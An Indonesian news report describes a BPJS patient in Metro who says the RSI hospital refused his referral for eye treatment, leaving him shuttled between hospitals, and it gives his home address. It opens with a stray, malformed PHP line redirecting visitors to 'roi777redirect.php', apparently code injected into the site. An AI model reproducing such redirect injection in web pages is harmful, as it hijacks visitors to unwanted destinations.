header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Alasan Kuota Penuh, RSI Diduga Tolak Pasien -
Alasan Kuota Penuh, RSI Diduga Tolak Pasien

TRANSLAMPUNG.COM, METRO – Niat hati ingin mendapatkan pelayanan kesehatan yang maksimal, Juaini Eka Putra justru diduga mengalami penolakan dari rumah sakit. Peristiwa tersebut terjadi ketika ia hendak memeriksakan kondisi kesehatan matanya di Poli Umum Rumah Sakit Islam (RSI) Kota Metro.

Pasalnya, peserta Badan Penyelenggara Jaminan Sosial (BPJS) tersebut diduga mendapat penolakan lantaran pihak RSI beralasan kuota penuh dan dokter akan rapat.

“Saya sudah dapat pelayanan di Klinik Griya Sehat Terpadu. Dari klinik ini saya mendapat rujukan ke RSI. Tadi jam sembilan saya kesana, tapi ditolak dengan alasan kuota sudah penuh. Dokter juga akan rapat,” keluhnya yang juga menjabat sebagai Staf Ahli Bupati Kabupaten Pesisir Barat Bidang Sumber Daya Manusia dan Kesejahteraan Rakyat itu kepada awak media.

Selanjutnya, petugas memberikan rujukan tersebut ke Rumah Sakit Mardiwaluyo Kota Metro. Namun, kata dia, bukannya mendapatkan pelayanan, dari RS Mardiwaluyo juga tidak bisa menerima surat rujukan tersebut. Dengan alasan rujukan awal sudah tertulis RSI.

“Saya kecewa, saya ini pasien BPJS. Saya sudah izin dari tempat kerja di Pesisir Barat untuk bisa dapat pelayanan dari rumah sakit karena mata saya sakit. Tapi bukannya dapat pelayanan saya seolah dilempar kesana dilempar sini. Terkesan tidak ada koordinasi dari rumah sakit,” terangnya.

Tidak hanya itu, warga Perumahan Prasanti Garden Blok C3 Nomor 6 RT 54 RW 9, Kecamatan Metro Pusat tersebut juga mengatakan, bahwa matanya tersebut cukup perih. Karenanya ia ingin segera mendapatkan pelayanan kesehatan. Ia pun kembali memutuskan untuk mendatangi RSI. Namun pihak RSI tetap tidak bisa memberikan pelayanan.

“Mata saya sakit dan rasanya sudah tidak karuan lagi, ditambah saya harus izin untuk dapat perawatan ini, saya tidak bisa menunggu lama. Jadi saya berharap bisa mendapatkan pelayanan kesehatan yang lebih baik. Saya sudah balik lagi ke RSI tapi tetap tidak bisa dilayani,” keluhnya. (suf)

News Reporter